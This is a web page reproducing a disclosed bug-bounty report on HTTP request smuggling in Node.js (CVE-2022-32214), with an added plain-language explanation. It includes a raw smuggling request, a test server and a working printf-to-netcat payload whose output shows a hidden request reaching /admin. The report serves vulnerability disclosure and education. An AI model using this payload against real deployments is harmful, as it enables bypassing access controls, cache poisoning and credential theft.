Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2022-32214

HTTP Request Smuggling Due To Improper Delimiting of Header Fields

The Node.js HTTP parser accepts a bare LF as a header delimiter, while an upstream proxy may treat it as part of a header value. This discrepancy lets an attacker smuggle a second request that the proxy does not see, potentially reaching protected endpoints.

zeyu2001 Follow

Originally disclosed on HackerOne

Medium 6.5 View original
  • Triaged in 8 days
  • Fixed in 3 months
  • Disclosed after 3 months

Summary:

The llhttp parser in the http module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

Description:

The LF character (without CR) is sufficient to delimit HTTP header fields in the lihttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.

Consider the following request (all lines are delimited by CRLF except the [\n] part)

HTTP
GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

Suppose that an upstream server:

  • Correctly delimits lines by the CRLF sequence instead of only LF
  • Incorrectly allows the LF character in header values

This leads to HTTP request smuggling as the Node server sees one extra header field, Content-Length: 23 while the upstream proxy thinks that the content length of the first request is 0.

Request as seen by the Node server:

HTTP
GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

Steps To Reproduce:

Server code I used for testing:

JavaScript
const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
      response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();
   
   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "URL": request.url,
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);

Payload:

Bash
(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80

Expected result: Sees two requests, both to /.

Actual result: Sees one request to / and another to /admin.

HTTP
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124

{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69

{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

The original report as published on HackerOne, by zeyu2001. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could smuggle requests past an upstream proxy, potentially leading to cache poisoning, bypassing security layers, or stealing credentials, depending on the application.

What the attacker needed

Node.js server behind a proxy; Proxy allows bare LF in header values; Proxy uses CRLF to delimit headers

How it was found

  1. Set up a Node.js HTTP server that echoes request details.
  2. Send a request where one header line ends with a bare LF followed by a Content-Length header.
  3. Include a second HTTP request in the body according to that Content-Length.
  4. Observe that the Node server processes two requests, the second to /admin.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web request passes through a proxy and then a backend server, both must agree on where one request ends and the next begins. Here the backend (Node.js) treated a single line-feed character as the end of a header, but the proxy did not, so the attacker could hide a second request inside the first. The proxy forwards only one request, but the backend sees two, and the hidden one can go to a different path.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by zeyu2001

View all

8 more disclosed reports, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.